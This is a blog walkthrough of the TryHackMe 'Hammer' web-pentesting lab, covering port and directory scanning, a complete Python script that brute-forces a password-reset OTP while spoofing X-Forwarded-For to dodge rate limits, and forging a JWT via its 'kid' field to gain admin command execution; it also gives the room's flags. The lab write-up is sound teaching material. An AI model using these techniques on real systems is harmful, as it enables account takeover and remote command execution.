Sitemap

TryHackMe-Hammer

5 min readSep 24, 2025

--

“Completing the Hammer Room: My Journey Through Web Application Pentesting on TryHackMe”

I completed the “Hammer” room on TryHackMe, which focuses on web application penetration testing. It was a very interesting experience, and I learned several new things. In this article, I’ll share how I completed the room, what challenges I faced, and the interesting techniques I used. Let’s get started!

Press enter or click to view image in full size

Task 1: Hammer

What is the flag value after logging in to the dashboard?

Using Nmap with the following command, I discovered that only two ports were open:

nmap -Pn -sS -sV -Pn -p- 10.201.104.171

A web application was running on port 1337.

http://10.201.104.171:1337/
Press enter or click to view image in full size

I tried common usernames and passwords like admin:admin, admin:password, etc. but nothing worked. By clicking the “Forgot Password” button, it prompted for an email. So, first, we need to find a user.

Press enter or click to view image in full size

While inspecting the page source, I discovered an intriguing message.

It’s clear that the directory prefix is ‘hmr,’ so we can try discovering the full path with the ffuf tool.

ffuf -u http://10.201.104.171:1337/hmr_FUZZ -w /usr/share/wordlists/dirb/common.txt
Press enter or click to view image in full size

Four directories were found, including ‘hmr_logs,’ which itself contains a subdirectory called ‘error_logs

http://10.201.104.171:1337/hmr_logs/
Press enter or click to view image in full size

we found the Email was tester@hammer.thm

Get Abdullah Al Ahad’s stories in your inbox

Join Medium for free to get updates from this writer.

Next, we can enter the email address into the ‘Forgot Password’ field. After submitting, the site requests OTP verification and gives us only 180 seconds to enter the OTP.

Press enter or click to view image in full size

At this point, I used a Python script that bypassed the 4-digit OTP and set the password I had chosen (Password123). After that, I was able to log in to the account.

nano brup-force.py

import requests
import random
import threading
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

url = "http://10.201.104.171:1337/reset_password.php"
num_threads = 50
stop_flag = threading.Event()

# Retry mechanism
retry_strategy = Retry(
total=5,
backoff_factor=1,
status_forcelist=[500, 502, 503, 504],
raise_on_status=False
)

adapter = HTTPAdapter(max_retries=retry_strategy)
session = requests.Session()
session.mount("http://", adapter)

def brute_force_code(start, end):
for code in range(start, end):
code_str = f"{code:04d}"
try:
r = session.post(
url,
data={"recovery_code": code_str, "s": "180"},
headers={
"X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
},
timeout=10,
allow_redirects=False,
)
if stop_flag.is_set():
return
elif r.status_code == 302:
stop_flag.set()
print("[-] Timeout reached. Try again.")
return
elif "Invalid or expired recovery code!" not in r.text:
stop_flag.set()
print(f"[+] Found the recovery code: {code_str}")
print("[+] Sending the new password request.")
new_password = "Password123"
session.post(
url,
data={
"new_password": new_password,
"confirm_password": new_password,
},
headers={
"X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
},
)
print(f"[+] Password is set to {new_password}")
return
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
continue

def main():
print("[+] Sending the password reset request.")
session.post(url, data={"email": "tester@hammer.thm"})
print("[+] Starting the code brute-force.")
code_range = 10000
step = code_range // num_threads
threads = []
for i in range(num_threads):
start = i * step
end = start + step
thread = threading.Thread(target=brute_force_code, args=(start, end))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()

if __name__ == "__main__":
main()

#You can only change the IP address in the URL option.(line no 7)

python3 brup-force.py

Boom! The password was changed to Password123

Press enter or click to view image in full size

Answer: THM{AuthBypass3D}

What is the content of the file /home/ubuntu/flag.txt?

There is a search box in the application, and when I tried the “ls” command, it displayed multiple files.

search the path →

http://10.201.104.171:1337/188ade1.key

Then I downloaded the 188ade1.key file. When I opened it, I found the code →

Next, open Burp Suite and send the request → send to reapeater option

Press enter or click to view image in full size

persistentSession=no (change and set yes)

Using jwt.io, I decoded the JWT token found in the page source. Decoding the token revealed that the key location was /var/www/mykey.key and there was a role section in the payload as well.

Press enter or click to view image in full size

change the 3 setting “kid”: “/var/www/html/188ade1.key” “role”: “admin” 56058354efb3daa97ebab00fabd7a7d7

Press enter or click to view image in full size

Then copy the encoded token, paste it into Burp Suite, run {“command”:”id”} and view the result →

The location of the flag was already provided. So run →

cat /home/ubuntu/flag.txt
Press enter or click to view image in full size

ans:THM{RUNANYCOMMAND1337}

“Boom!

Room completed 🎉 It was a fun challenge, and I hope you enjoyed exploring this machine as much as I did. Follow me for more walkthroughs and hacking stories.”

--

--

Abdullah Al Ahad
Abdullah Al Ahad

Written by Abdullah Al Ahad

0 followers

With strong skills in penetration testing, vulnerability research, and graphics design tools. Passionate about digital rights and continuous learning.